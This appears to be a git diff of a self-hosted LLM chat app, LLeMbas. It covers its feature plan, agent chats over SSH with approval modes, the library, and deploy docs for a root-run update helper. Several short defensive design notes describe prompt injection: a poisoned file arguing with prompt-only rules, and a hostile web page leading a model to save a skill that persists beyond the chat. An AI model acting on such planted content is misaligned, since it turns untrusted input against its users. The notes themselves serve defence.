- [x] **A reply can stop and ask you something** — one or more questions on one
|
||||
card, with answers to pick from and a box to write your own, answered
|
||||
together. The same mechanism carries command approvals
|
||||
- [x] **Custom HTTP tools** — an administrator describes one call: a JSON Schema,
|
||||
a URL template, headers, an encrypted secret and how to read the answer.
|
||||
Arguments may fill a hole but never move the target: the scheme and host
|
||||
are literal, values are escaped for where they land, and the origin is
|
||||
pinned afterwards
|
||||
- [x] **MCP servers** over streamable HTTP — a hand-written client, so that
|
||||
`check_url` runs on every hop rather than being bypassed by somebody
|
||||
else's transport. Tools are discovered and cached by a button, namespaced
|
||||
per server, and a server's own descriptions are bounded before they reach
|
||||
a model as instructions
|
||||
- [x] Both gated like the built-ins — a model capability, a permission — and
|
||||
restrictable to groups, with guidance of their own on `/admin/prompts`
|
||||
- [x] Local MCP over stdio is deliberately absent: spawning a subprocess would
|
||||
run on this machine, which nothing here does
|
||||
|
||||
### Agent chats
|
||||
- [x] A chat is a **Chat** or an **Agent**, chosen when it starts and fixed
|
||||
thereafter — a transcript whose earlier turns ran somewhere else is not
|
||||
one conversation. Knowledge, memories and skills are shared across both
|
||||
- [x] **Nothing runs on the LLeMbas host.** Commands go to a machine reached
|
||||
over SSH, so containment is somebody's considered choice of host — a
|
||||
container built for the job — rather than a sandbox built here. A local
|
||||
one was designed in detail and dropped; see CLAUDE.md for why
|
||||
- [x] **SSH connections are user-owned**, like notes. An administrator decides
|
||||
only whether the feature exists at all
|
||||
- [x] Trust on first use, made explicit: adding a host does not connect to it,
|
||||
**Check** shows its fingerprint with nothing sent, and only accepting
|
||||
pins it. A host that later answers with a different key is refused
|
||||
- [x] Four modes as a table over what each tool does to the world —
|
||||
**Manual** asks about everything, **Edit** writes freely but asks before
|
||||
commands, **Auto** asks about nothing, **Plan** reads freely and changes
|
||||
nothing. Switchable at any time; read once per reply
|
||||
- [x] Enforced in the generation loop, not in the prompt: a rule a model is
|
||||
merely told is one a poisoned file can argue with
|
||||
- [x] A deny list beats **Auto**; an allow list cannot be matched by a command
|
||||
containing anything that joins two commands together
|
||||
- [x] `shell_run`, `file_read`, `file_write`, `file_list` — files over SFTP,
|
||||
never through a shell, because the SSH exec protocol has no argv form
|
||||
- [x] **Plan mode ends with a plan** you can carry out with one button, which
|
||||
switches to Edit and sends it back quoted rather than as an instruction
|
||||
- [x] Per-reply budgets on steps, wall clock and output, with time spent
|
||||
waiting for you subtracted
|
||||
- [x] **A terminal panel** beside the chat, holding a real shell on that chat's
|
||||
own connection. The modes govern the model; what a person types is theirs,
|
||||
since they hold the credential and could open the same shell with an ssh
|
||||
client. The model cannot see the panel — sending it output is a button
|
||||
- [x] The shell outlives the panel and the page: closing it leaves a build
|
||||
running, and coming back reattaches with the scrollback. An idle timeout
|
||||
is what eventually ends one, and so does deleting the chat, or disabling,
|
||||
moving or deleting the connection
|
||||
- [x] **The panel is resizable**, dragged from its edge or nudged with the
|
||||
arrow keys, and the width follows you to another browser
|
||||
- [x] **It knows where one command ends and the next begins** — bash and zsh
|
||||
are given the markers VS Code and WezTerm use, so *Copy* and *Send* mean
|
||||
one command and its output rather than the last forty rows of the screen.
|
||||
An **Auto** toggle collects each one into the next message. Any other
|
||||
shell starts exactly as it did before, the buttons fall back to the
|
||||
screen and say so, and Auto is disabled rather than degraded
|
||||
- [x] **The project directory is listed for the model** — one read-only
|
||||
command, `git ls-files` where that works so `.gitignore` is honoured for
|
||||
free, budgeted so a big directory becomes a count rather than a thousand
|
||||
filenames on every request
|
||||
- [x] **A directory is chosen by browsing it** over SFTP, not by typing a path
|
||||
into an unlabelled box
|
||||
- [x] The approval mode is chosen **before** the first message, beside the
|
||||
message box rather than in the header
|
||||
|
||||
### The library
|
||||
- [x] **Knowledge bases** — documents, images and saved web pages, grouped into
|
||||
named collections and ingested through the same pipeline as chat
|
||||
attachments, searched with SQLite FTS5
|
||||
- [x] A chat can be pointed at particular bases, so "answer from the contracts
|
||||
folder" is a different question from "answer from everything I have"
|
||||
- [x] **Notes** — longer things the model writes down and searches later;
|
||||
editable by hand, because they are yours
|
||||
- [x] **Memory** — short facts, injected on every turn to a budget rather than
|
||||
searched, and managed in your settings
|
||||
- [x] **Skills** — saved procedures. Only the name and description are injected;
|
||||
the body is fetched when the model decides it applies
|
||||
- [x] A model may write and revise its own notes, memories and skills. Every
|
||||
skill revision is kept, attributed and revertible — the safety story is a
|
||||
record and a way back, not a gate
|
||||
- [x] **Sharing** — a knowledge base, a note or a skill can be shared with a
|
||||
group or with named people, read-only. One visibility rule, and
|
||||
administrators do not bypass it. Documents are shared through their base
|
||||
- [x] **The harness** — an operational prompt assembled from what a model
|
||||
actually has, so the tools get used rather than ignored
|
||||
- [x] Attach menu: file, image, a web page fetched on the spot, or a document
|
||||
from the library
|
||||
- [x] **`@` to name one** — the library everywhere, and files in the project
|
||||
directory in an agent chat. The reference stays in the sentence and the
|
||||
contents come along, with the path and the machine, so the model knows
|
||||
exactly which file it was handed
|
||||
|
||||
### Audio
|
||||
- [x] **Dictation** — record in the composer, transcribed by any OpenAI-shaped
|
||||
`/v1/audio/transcriptions` endpoint. The recording never touches disk
|
||||
- [x] **Read aloud** — any `/v1/audio/speech` endpoint, with the voice list
|
||||
discovered from the server where it offers one
|
||||
- [x] Instance defaults in Admin, per-reader overrides in Settings — voice,
|
||||
speed, dictation language, and whether replies play automatically
|
||||
|
||||
### Models and reasoning
|
||||
- [x] OpenAI-compatible connections with encrypted keys and model discovery
|
||||
- [x] **Reasoning display** — `reasoning_content` and inline `<think>` tags,
|
||||
collapsed by default, labelled with how long it took, never replayed as
|
||||
context
|
||||
- [x] Model admin as a list plus a page per model; scales to hundreds
|
||||
- [x] Ordering, pinning (a sidebar shortcut, *not* a reordering), instance
|
||||
default, per-user default, images, capability flags
|
||||
- [x] Custom model picker showing avatars, descriptions and capabilities
|
||||
|
||||
### Attachments
|
||||
- [x] Drag, paste or pick images, PDFs and text files
|
||||
- [x] Images downscaled and sent to vision models as content parts
|
||||
- [x] PDF and text extracted at upload and placed in the prompt
|
||||
- [x] Type decided by inspecting bytes, random names on disk, non-images served
|
||||
as downloads with `nosniff`
|
||||
- [x] No OCR: a scanned PDF says so rather than silently contributing nothing
|
||||
|
||||
### People
|
||||
- [x] Accounts, argon2, revocable server-side sessions, self-service password
|
||||
change
|
||||
- [x] Users and groups with permissions that **union** rather than override
|
||||
- [x] Model access restricted to chosen groups
|
||||
- [x] Registration toggle, instance settings stored in the database
|
||||
|
||||
### Prompts
|
||||
- [x] Three layers — instance, model, chat — with the most specific winning
|
||||
**outright** rather than being concatenated
|
||||
- [x] Every injected fragment editable at `/admin/prompts`: the tool guidance,
|
||||
the memory and skill sections, the seam above the authored prompt, and the
|
||||
request that names a chat
|
||||
- [x] `{{variables}}` with a legend, values shown as they currently resolve, and
|
||||
pass-through for anything that is not one
|
||||
- [x] A preview of the whole assembled system message, including unsaved edits
|
||||
- [x] Defaults in code and overrides in the database, so improving a default
|
||||
still reaches an instance that never edited it
|
||||
|
||||
### Suggestions
|
||||
- [x] Admin-managed cards on the new-chat screen; three seeded once at startup
|
||||
|
||||
### Interface
|
||||
- [x] **`/` for commands** — compact, usage, mode, model, title, the panels,
|
||||
the theme. Anything not in the table is sent as an ordinary message, and
|
||||
`//` starts one with a literal slash
|
||||
- [x] **Keyboard shortcuts** for the same jobs, listed beside the commands in
|
||||
one table so `/help` cannot go stale
|
||||
- [x] Mentions and recognised commands are marked as you type, and again in the
|
||||
transcript, so you can see what a message will do before sending it
|
||||
- [x] **Reasoning effort** per chat, with a per-model default. Sent as both
|
||||
`reasoning_effort` and `chat_template_kwargs`, and only once chosen:
|
||||
OpenAI and vLLM read the first, llama.cpp silently drops it and reads
|
||||
only the second
|
||||
- [x] **Installable** — manifest, generated PWA icons, a service worker for the
|
||||
shell and a themed offline page. The worker deliberately never touches
|
||||
`/api/`: a reply is an event stream and caching one breaks it
|
||||
- [x] Two themes (`moria`, `shire`) from one set of design tokens
|
||||
- [x] Every control sized from `--control-h`, so rows line up by construction
|
||||
- [x] Toasts and dialogs of our own; no `window.confirm` anywhere
|
||||
- [x] Original SVG artwork generated from a single source
|
||||
|
||||
### Operations
|
||||
- [x] Additive schema sync — new tables and columns applied at startup
|
||||
- [x] `deploy/` — systemd unit and nginx templates, install and update scripts
|
||||
|
||||
---
|
||||
|
||||
## Not built yet
|
||||
|
||||
In the order they are likely to be worth doing.
|
||||
|
||||
### Image generation
|
||||
Left until last from the start, as it needs heavy customisation. ComfyUI is
|
||||
already running on this machine and is the obvious first target.
|
||||
|
||||
### Smaller things
|
||||
- **OCR** for scanned PDFs
|
||||
- **Conversation branching** — `Message.parent_id` exists unused; needs a UI for
|
||||
choosing between versions, which is why rewind truncates for now
|
||||
- **Chat export** (Markdown, JSON)
|
||||
- **Semantic search** in the library — the retrieval service is one call, so an
|
||||
embedding backend can go behind it without touching the tools or the UI
|
||||
- **Archived chats** — the column exists, nothing surfaces it
|
||||
- **Per-user quotas**
|
||||
|
||||
---
|
||||
|
||||
## Known limits
|
||||
|
||||
Worth knowing before they surprise someone.
|
||||
|
||||
**One worker.** The generation registry and the stop mechanism are in-process.
|
||||
Running several workers needs that state in the database or a broker, because
|
||||
the request following a reply would not necessarily land in the process writing
|
||||
it.
|
||||
|
||||
**A restart abandons replies in flight.** Shutdown cancels them and keeps what
|
||||
each had. There is no resume.
|
||||
|
||||
**Schema changes are additive only.** New tables and columns apply themselves;
|
||||
renames, drops and retypes are manual against the SQLite file. `MANUAL_STEPS`
|
||||
in `db/migrations.py` is where such a step gets recorded.
|
||||
|
||||
**Attachments live on disk, unreferenced files are swept at startup.** No
|
||||
deduplication, no size quota.
|
||||
|
||||
**Unread is polled every 10 seconds.** A push channel would be more responsive
|
||||
but means an always-on connection per tab for the sake of a green dot.
|
||||
|
||||
**Installing needs HTTPS or localhost.** Service workers are unavailable over
|
||||
plain HTTP, so a LAN install without TLS is a normal browser tab. The
|
||||
microphone is unavailable for the same reason.
|
||||
|
||||
**Tool calling needs a model that supports it.** The `tools` flag is an
|
||||
administrator's assertion, not something endpoints reliably advertise. Set it on
|
||||
a model that cannot, and its replies fail rather than degrade.
|
||||
|
||||
**Library search is keyword, not semantic.** FTS5 ranks well and needs no
|
||||
dependency or embedding endpoint, but "how do I get paid" will not find a
|
||||
document that says "invoicing".
|
||||
|
||||
**A model can write its own skills, and they take effect at once.** Marked as
|
||||
model-authored and fully revertible, but a model that has just read a hostile
|
||||
page could save a skill that outlives the conversation. The mitigation is that
|
||||
it is visible and undoable, not that it was prevented.
|
||||
|
||||
---
|
||||
|
||||
## Deliberate decisions
|
||||
|
||||
Recorded because each looks like an oversight until you know the reason.
|
||||
|
||||
- **No JavaScript build step.** Browser libraries are hash-pinned and committed.
|
||||
A self-hosted tool should work offline and not report page views to a CDN.
|
||||
- **Permissions union, never deny.** With denies, "why can this user not do X"
|
||||
cannot be answered without simulating every group.
|
||||
- **System prompts replace, never stack.** Two layers that disagree give the
|
||||
model contradictory instructions and nobody can tell which is losing.
|
||||
- **Rewind truncates, does not branch.** Branching needs a UI for choosing
|
||||
between versions; "go back and try again from here" is what was asked for.
|
||||
- **Pinning is a shortcut, not an ordering.** A picker whose order silently
|
||||
differs from the admin screen is confusing.
|
||||
- **Images only reach models marked `vision`.** Not graceful degradation: most
|
||||
endpoints reject the entire request rather than ignoring an image part. Tools
|
||||
are gated the same way, for the same reason.
|
||||
- **Sharing grants reading, never writing.** Two people editing one note with no
|
||||
history and no merge is worse than the inconvenience of copying it.
|
||||
- **Memory is never shareable.** A record about a person is not content to hand
|
||||
round.
|
||||
- **Knowledge attached to a message is copied, not referenced.** History must not
|
||||
change under a conversation because a document was edited later.
|
||||
- **The harness is prepended to the authored prompt, not a fourth layer.** It
|
||||
describes the machinery; the authored layers describe the behaviour. Only one
|
||||
authored layer still wins.
|
||||
- **Tool results are not replayed.** Like reasoning: the answer already contains
|
||||
what the model made of them, and replaying stale results into every later
|
||||
request wastes the window and sends small models into search loops.
|
||||
- **The service worker caches the shell, never a page with a user in it.** A
|
||||
cached conversation would be a snapshot that silently went stale, belonging to
|
||||
whoever was signed in last.
|
||||
- **Markdown rendered server-side.** One code path produces the streamed and
|
||||
the stored view, so they cannot disagree.
|
||||
- **This repository is public.** Deployment hostnames, ports and paths stay out
|
||||
of it; `deploy/` is templates, and the real values live in private notes.
|
||||
@@ -8,7 +8,6 @@
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<img alt="Version 1.0.0" src="https://img.shields.io/badge/version-1.0.0-6B8E4E?style=flat-square">
|
||||
<img alt="Python 3.11+" src="https://img.shields.io/badge/python-3.11%2B-3E6B7A?style=flat-square">
|
||||
<img alt="License GPL-3.0" src="https://img.shields.io/badge/license-GPL--3.0-C9A227?style=flat-square">
|
||||
<img alt="No Node required" src="https://img.shields.io/badge/build%20step-none-6B8E4E?style=flat-square">
|
||||
@@ -100,49 +99,18 @@ runtime. Clone it, `pip install -e .`, run it.
|
||||
- **Model settings** — searchable, filterable list with a page per model:
|
||||
ordering, pinned models, an instance default and a per-user default, custom
|
||||
names, descriptions and images. Scales to hundreds of models
|
||||
- **Things that happen because time passed** — say "every Monday at nine" and a
|
||||
model can set it up itself, against the same recurrence rule the manual form
|
||||
uses. A run can file a **report** you read later, send you a message, or work
|
||||
on in a chat of its own. The reply says the timing back in words, which is the
|
||||
one moment anybody can check that Monday was understood as Monday
|
||||
- **News that finds you** — a dot in the sidebar, a count in the tab title while
|
||||
you are looking elsewhere, and **web push** so a schedule firing at seven in
|
||||
the morning reaches a browser that is shut. Opt-in per device
|
||||
- **Helpers** — a reply can hand a self-contained piece of work to another model
|
||||
that runs on its own and reports back, several at once, so research fans out
|
||||
instead of queueing. A helper cannot ask questions, cannot send helpers of its
|
||||
own, and on a machine runs only a fixed list of read-only commands
|
||||
- **Drawing** — point it at a ComfyUI and a model can make images, against
|
||||
workflow templates and defaults you set: size, steps, sampler, scheduler,
|
||||
checkpoint. It reviews its own result and can try again
|
||||
- **Semantic search** — pick an embedding model and library search fuses keyword
|
||||
and meaning, so *"how do I get paid"* finds a document that says *"invoicing"*.
|
||||
Choosing none is not a degraded mode: it is byte-for-byte the keyword search
|
||||
that was always there, with nothing written and no requests made
|
||||
- **Users, groups & permissions** — per-group grants that union rather than
|
||||
override, model access restricted to chosen groups, read and write split for
|
||||
notes, memory and skills, and a screen that answers *"what can this account
|
||||
actually do?"* by naming where each permission came from
|
||||
- **Quotas** — monthly tokens, concurrent replies, agent wall clock, images a
|
||||
day, helpers a reply. Resolved by maximum across a person's groups, with zero
|
||||
meaning *no limit*
|
||||
- **Sharing** — hand a document, a note, a skill or a report to a group or a
|
||||
person, read-only, with a *Shared with me* filter in every listing
|
||||
- **Make it yours** — name, tagline, logo, favicon and launcher icons; the
|
||||
Middle-earth wording is editable data; custom **themes** defined as a set of
|
||||
colours rather than a stylesheet, and global CSS overrides
|
||||
override, and model access restricted to chosen groups
|
||||
- **Accounts** — first account becomes the administrator, argon2 password
|
||||
hashing, revocable server-side sessions, self-service password change,
|
||||
admin-managed accounts
|
||||
- **Admin settings** — registration, upload and extraction limits, prompt
|
||||
fragments, and an **Updates** page showing what is running, what is available
|
||||
and what changed between
|
||||
- **Two themes and your own** — *Moria* (dark), *Shire* (light), and as many
|
||||
more as you care to define
|
||||
- **Admin settings** — open or close registration from the UI, stored in the
|
||||
database and effective immediately
|
||||
- **Two themes** — *Moria* (dark) and *Shire* (light), switchable per user
|
||||
|
||||
**Planned**
|
||||
|
||||
OCR for scanned PDFs · conversation branching · chat export · archived chats.
|
||||
Image generation · OCR for scanned PDFs · semantic search in the library.
|
||||
|
||||
See [PLAN.md](PLAN.md) for what is built, what is not, and why.
|
||||
|
||||
@@ -354,92 +322,6 @@ lembas secret-key # generate a value for LEMBAS_SECRET_KEY
|
||||
lembas create-admin # create or promote an administrator
|
||||
```
|
||||
|
||||
## Running it somewhere
|
||||
|
||||
Three ways, all in this repository.
|
||||
|
||||
### Docker
|
||||
|
||||
```bash
|
||||
export LEMBAS_SECRET_KEY="$(lembas secret-key)" # required; there is no default
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
One stage, no build step, non-root. The image bakes **no secret key, no data and
|
||||
no `.git`** — a key inside an image is one every copy shares, and rotating it
|
||||
makes stored API keys unreadable. Data lives in a named volume on `/data`.
|
||||
|
||||
`docker-compose.yml` publishes on `127.0.0.1` and expects a TLS proxy in front:
|
||||
the service worker and the microphone both require HTTPS or localhost, so plain
|
||||
http on a LAN address is a constraint rather than a preference. One replica, and
|
||||
that is deliberate — the generation registry, the terminal sessions and the
|
||||
schedule ticker are all in-process, so two would mean every schedule firing
|
||||
twice.
|
||||
|
||||
**Updating a container is pulling a new image**, and `/admin/updates` says so
|
||||
rather than offering a button:
|
||||
|
||||
```bash
|
||||
docker compose pull && docker compose up -d
|
||||
```
|
||||
|
||||
There is deliberately no in-container update helper. The one the other install
|
||||
paths use restarts a systemd service; the equivalent here would be a process
|
||||
inside the container reaching the Docker socket to replace the container it is
|
||||
running in — which is root on the host, granted to anybody who can administer
|
||||
the web interface. The image is the unit of deployment, and that is the whole
|
||||
point of it.
|
||||
|
||||
### A machine of its own
|
||||
|
||||
`deploy/` holds a systemd unit, an nginx vhost, and install/update scripts. Every
|
||||
template is parameterised and substituted at install time, so nothing
|
||||
host-specific is committed here. See [deploy/README.md](deploy/README.md).
|
||||
|
||||
`deploy/lxc-install.sh` creates an unprivileged Proxmox container and runs that
|
||||
same installer inside it — a wrapper around what already works rather than a
|
||||
second install path:
|
||||
|
||||
```bash
|
||||
CTID=140 SITE_HOST=chat.example ./deploy/lxc-install.sh
|
||||
```
|
||||
|
||||
The container gets the **update helper by default**, unlike a bare
|
||||
`install.sh`. The installer defaults it off because it cannot know what it is
|
||||
installing onto; a container this script made thirty seconds ago to run one
|
||||
thing, on a hypervisor you own, is not that host — and an appliance you cannot
|
||||
update without a shell is one nobody updates. `INSTALL_UPDATE_HELPER=0` opts
|
||||
out.
|
||||
|
||||
### Updating
|
||||
|
||||
**Admin → Updates** shows the version running, what is available on the channel
|
||||
this host follows, and the commits between. `stable` is the newest `vX.Y.Z` tag;
|
||||
`edge` is the branch tip, which is whatever was pushed most recently.
|
||||
|
||||
The button that applies an update is **opt-in**, and that is the design: the
|
||||
service runs unprivileged and cannot restart itself, so the request is a file
|
||||
that a systemd `.path` unit picks up and runs as root. It carries no ref and no
|
||||
channel — pressing it is always "deploy the channel this host was configured
|
||||
with", never "deploy something else". Install it with
|
||||
`INSTALL_UPDATE_HELPER=1`; without it the page says so and prints the command to
|
||||
run by hand.
|
||||
|
||||
Release notes come out of the annotated tag itself, so no forge API is involved
|
||||
anywhere.
|
||||
|
||||
Root runs a **copy** of `deploy/update.sh` that the installer places outside the
|
||||
checkout and root owns. It must not run the one in the checkout: that file
|
||||
belongs to the unprivileged service account, so anything able to write as that
|
||||
account could rewrite it and become root — and so could whoever controls the
|
||||
branch, since a pull happens as that account and root would run whatever it
|
||||
fetched. The cost is that changing `update.sh` needs the installer re-run, and
|
||||
it tells you when your copy has fallen behind.
|
||||
|
||||
**If you installed the helper before this changed, re-run the installer.** The
|
||||
old wiring points systemd at the checkout, and the update script now says so
|
||||
loudly when it notices it is running from there.
|
||||
|
||||
## How it fits together
|
||||
|
||||
```
|
||||
|
||||
+2
-127
@@ -44,94 +44,8 @@ Everything is overridable from the environment:
|
||||
| `SERVICE_USER` | `lembas` | system account to run as |
|
||||
| `HOME_DIR` | `/home/lembas` | that account's home |
|
||||
| `PREFIX` | `/srv/lembas` | install root (bind mount of `HOME_DIR`) |
|
||||
| `REPO_URL` | this checkout's `origin` | so a fork deploys itself. **Must be https** — see below |
|
||||
| `LEMBAS_BRANCH` | `main` | branch to fetch, and what the `edge` channel follows |
|
||||
| `LEMBAS_CHANNEL` | `stable` | `stable` follows release tags, `edge` follows the branch tip |
|
||||
| `INSTALL_UPDATE_HELPER` | `0` | `1` lets the web interface deploy that branch as root |
|
||||
|
||||
**The deployment fetches over HTTPS, on purpose.** The service user has no SSH
|
||||
key and should not have one: a credential that can push to the repository,
|
||||
sitting on a box, to do a read-only job. If you push over SSH your checkout's
|
||||
`origin` is an `ssh://` URL, which is the one thing that cannot work here — so
|
||||
the installer refuses it and names the fix rather than letting the clone fail
|
||||
with `Permission denied (publickey)` from an account you were not thinking about.
|
||||
|
||||
## Channels
|
||||
|
||||
| | follows | for |
|
||||
|---|---|---|
|
||||
| `stable` (default) | the newest `vX.Y.Z` tag | anybody running this |
|
||||
| `edge` | the tip of `LEMBAS_BRANCH` | whoever is building it |
|
||||
|
||||
**A branch tip is not a release.** Following `main` means deploying whatever was
|
||||
pushed five minutes ago, possibly mid-feature — right for development and wrong
|
||||
for a machine somebody depends on. Stable is the default for that reason.
|
||||
|
||||
A tag with a suffix (`v1.1.0-rc1`) is deliberately **not** a release: git's
|
||||
version sort puts it *above* `v1.1.0`, so accepting one would step a stable host
|
||||
onto a release candidate on the strength of a hyphen. A prerelease is something
|
||||
you check out by name.
|
||||
|
||||
Release notes travel inside **annotated** tags, so `git tag -a v1.1.0 -m "…"` is
|
||||
what puts them on the update page. Tags here are **signed** (`tag.gpgSign`), and
|
||||
the notes render the same either way — `updates._notes_for` cuts the
|
||||
`-----BEGIN SSH SIGNATURE-----` block off `%(contents)`, which would otherwise be
|
||||
forty lines of base64 on the page. No forge API is involved anywhere — which
|
||||
matters more than it sounds: a token on the deployment host to answer a
|
||||
read-only question about version numbers is a bad trade, it would tie this to
|
||||
one forge, and the Gitea API this was checked against returns a 500 from a
|
||||
server-side panic on exactly that endpoint.
|
||||
|
||||
## Updating from the web interface
|
||||
|
||||
`/admin/updates` says what is running (`git describe`, so `1.0.0` at a tag and
|
||||
`1.0.0-7-gd4f56d` seven commits past one), what the channel offers, the release
|
||||
notes, and the commits between. **Checking** reaches the remote; opening the page
|
||||
does not.
|
||||
|
||||
The button is opt-in, and the reason is a boundary rather than caution:
|
||||
|
||||
```bash
|
||||
INSTALL_UPDATE_HELPER=1 SITE_HOST=chat.example ./deploy/install.sh
|
||||
```
|
||||
|
||||
That installs `lembas-update.path` and `lembas-update.service`, and puts a
|
||||
**root-owned copy** of `update.sh` at `/usr/local/lib/lembas/update.sh`. The web
|
||||
interface writes `$PREFIX/data/update-requested`; the path unit notices and the
|
||||
service runs that copy **as root**, on the configured channel.
|
||||
|
||||
**Why a copy.** The unit used to point inside the checkout, and `install.sh`
|
||||
clones the checkout *as the service user* — so root was executing a file the
|
||||
unprivileged account could rewrite, and one that every update replaces with
|
||||
whatever the branch contained. Either turns a compromise of the web application
|
||||
into root, and the second needs no compromise at all. The cost is that changing
|
||||
`update.sh` needs the installer re-run; the script tells you when its copy has
|
||||
fallen behind, and says so loudly if it finds itself running from inside the
|
||||
checkout.
|
||||
|
||||
**If you installed the helper before 1.0.0, re-run the installer.** The old
|
||||
wiring stays until you do, and the update button cannot fix it — the button runs
|
||||
the old unit.
|
||||
|
||||
**What that grants.** Anybody who can administer this web interface can then
|
||||
deploy whatever is on the configured branch and restart the service. That is the
|
||||
point of it, and it is why it is not the default.
|
||||
|
||||
**What it deliberately does not grant.** The request file carries nothing that
|
||||
reaches a command line — no ref, no branch, no channel, no arguments, and its
|
||||
*contents* are never read at all. Both are baked into the unit at install time,
|
||||
so the button is always "deploy the channel this host was configured with" and
|
||||
never "deploy something else". Re-running the installer without the flag removes
|
||||
both units, the marker and the root-owned copy, and the page goes back to
|
||||
printing the manual command.
|
||||
|
||||
A re-run **keeps the channel this host already follows** rather than resetting it
|
||||
to `stable`: the channel is declared in `lembas.env` and in the unit, a re-run
|
||||
keeps the first while rewriting the second, and an installer that silently moved
|
||||
one half was causing exactly the mismatch the Updates page detects.
|
||||
|
||||
Without the helper the page says so and shows `sudo …/deploy/update.sh`, which is
|
||||
the same honest degradation the SSH and search extras have.
|
||||
| `REPO_URL` | this checkout's `origin` | so a fork deploys itself |
|
||||
| `LEMBAS_BRANCH` | `main` | branch to deploy |
|
||||
|
||||
## Deploying a change
|
||||
|
||||
@@ -145,45 +59,6 @@ reinstalls dependencies and restarts, printing the commits it pulled. The hard
|
||||
reset is deliberate: nothing is ever edited in place there, so there is no local
|
||||
work to preserve and no conflicts to resolve.
|
||||
|
||||
## In a container
|
||||
|
||||
A `Dockerfile` and a `docker-compose.yml` are in the repository root.
|
||||
|
||||
```bash
|
||||
echo "LEMBAS_SECRET_KEY=$(python -c 'import secrets;print(secrets.token_urlsafe(48))')" > .env
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
It publishes on `127.0.0.1:8080` and expects **a TLS reverse proxy in front**.
|
||||
That is a constraint, not a preference: a service worker and a microphone both
|
||||
require HTTPS or localhost, so over plain http on a LAN address the app cannot be
|
||||
installed and cannot dictate — and the session cookie is deliberately not marked
|
||||
`secure`, so an attacker on that network could steal a session.
|
||||
|
||||
Three things about the image:
|
||||
|
||||
- **No secret key is baked in**, and compose refuses to start without one. A key
|
||||
in an image is a key every copy of that image shares, and rotating it signs
|
||||
everybody out *and* makes stored upstream API keys unreadable.
|
||||
- **`.git` is excluded**, so `/admin/updates` inside a container says it was not
|
||||
installed from a checkout and offers nothing. That is correct: a container is
|
||||
updated by pulling a new image.
|
||||
- **One replica.** The generation registry, the stop mechanism, the terminal
|
||||
sessions and the schedule ticker are all in-process — two would mean two
|
||||
tickers and every schedule firing twice.
|
||||
|
||||
## On Proxmox
|
||||
|
||||
```bash
|
||||
CTID=140 SITE_HOST=chat.example ./deploy/lxc-install.sh
|
||||
```
|
||||
|
||||
Run on the Proxmox host. It creates an **unprivileged** Debian container,
|
||||
installs the dependencies, and runs `deploy/install.sh` inside it — the same
|
||||
installer, so a fix there reaches this without anybody remembering. Unprivileged
|
||||
is not a default to change: nothing LLeMbas does needs privilege, because agent
|
||||
chats run their commands over SSH on some *other* machine.
|
||||
|
||||
## Operating it
|
||||
|
||||
```bash
|
||||
|
||||
+1
-112
@@ -26,32 +26,6 @@ SERVICE_USER="${SERVICE_USER:-lembas}"
|
||||
HOME_DIR="${HOME_DIR:-/home/lembas}"
|
||||
PREFIX="${PREFIX:-/srv/lembas}"
|
||||
BRANCH="${LEMBAS_BRANCH:-main}"
|
||||
# Which channel this host follows: `stable` (the newest release tag) or `edge`
|
||||
# (the branch tip). Stable by default, because a branch tip is not a release --
|
||||
# following one means deploying whatever was pushed five minutes ago, which is
|
||||
# right for whoever builds this and wrong for whoever runs it.
|
||||
# On a **re-run**, default to what this host already follows rather than to
|
||||
# `stable`. The channel lives in two places -- `lembas.env`, which the page
|
||||
# reads, and the systemd unit, which the button obeys -- and a re-run keeps the
|
||||
# env file ("keeping it, and its secret key") while rewriting the unit. So a
|
||||
# re-run to fix something unrelated silently moved one half and not the other,
|
||||
# and left the host with a page naming one channel and a button deploying
|
||||
# another. That mismatch has an alert of its own; an installer that *causes* it
|
||||
# is the wrong end to be detecting it from.
|
||||
#
|
||||
# Parsed, not sourced -- `lembas.env` holds the secret key, and there is no
|
||||
# reason for this to have it in a variable.
|
||||
_installed_channel=""
|
||||
if [[ -f "$PREFIX/lembas.env" ]]; then
|
||||
_installed_channel=$(sed -n 's/^LEMBAS_UPDATE_CHANNEL=\([a-z]\{1,16\}\)$/\1/p' \
|
||||
"$PREFIX/lembas.env" | tail -1)
|
||||
fi
|
||||
CHANNEL="${LEMBAS_CHANNEL:-${_installed_channel:-stable}}"
|
||||
# Whether to install the units that let the web interface update this host.
|
||||
# Off, and off on a re-run that does not ask for it: it grants anybody who can
|
||||
# administer the web UI the ability to deploy the branch, as root. See the
|
||||
# "Updating from the web interface" section of deploy/README.md.
|
||||
INSTALL_UPDATE_HELPER="${INSTALL_UPDATE_HELPER:-0}"
|
||||
# Default to wherever this checkout came from, so a fork deploys itself.
|
||||
REPO_URL="${REPO_URL:-$(git -C "$HERE" remote get-url origin 2>/dev/null || true)}"
|
||||
|
||||
@@ -64,33 +38,11 @@ if [[ -z "$REPO_URL" ]]; then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# The deployment clones as the service user, which has no SSH key and should not
|
||||
# have one: a credential that can push to the repository, sitting on a box, to
|
||||
# do a read-only job. Whoever runs this usually has an ssh:// origin because
|
||||
# *they* push over SSH, so the default inherited from their checkout is the one
|
||||
# thing that cannot work here.
|
||||
#
|
||||
# The clone would fail loudly anyway. Saying so first turns "Permission denied
|
||||
# (publickey)" from the service user into a sentence that names the fix.
|
||||
if [[ "$REPO_URL" == ssh://* || "$REPO_URL" == git@* ]]; then
|
||||
echo "== repository ==" >&2
|
||||
echo " $REPO_URL is an SSH URL, and $SERVICE_USER has no key." >&2
|
||||
echo " Set an https URL, which is what a deployment should fetch over:" >&2
|
||||
echo " REPO_URL=https://host/owner/repo.git $0" >&2
|
||||
echo " (Or give $SERVICE_USER a read-only deploy key and re-run.)" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "== plan =="
|
||||
echo " host : https://$SITE_HOST -> 127.0.0.1:$APP_PORT"
|
||||
echo " user : $SERVICE_USER ($HOME_DIR)"
|
||||
echo " prefix : $PREFIX"
|
||||
echo " repo : $REPO_URL ($BRANCH, $CHANNEL channel)"
|
||||
if [[ "$INSTALL_UPDATE_HELPER" == "1" ]]; then
|
||||
echo " updates : web interface may deploy $BRANCH as root (helper units)"
|
||||
else
|
||||
echo " updates : by hand only ($PREFIX/app/deploy/update.sh)"
|
||||
fi
|
||||
echo " repo : $REPO_URL ($BRANCH)"
|
||||
|
||||
echo "== service user =="
|
||||
# --system: no ageing, no mail spool. Home under /home, not /var/lib, so the
|
||||
@@ -149,13 +101,6 @@ LEMBAS_PORT=$APP_PORT
|
||||
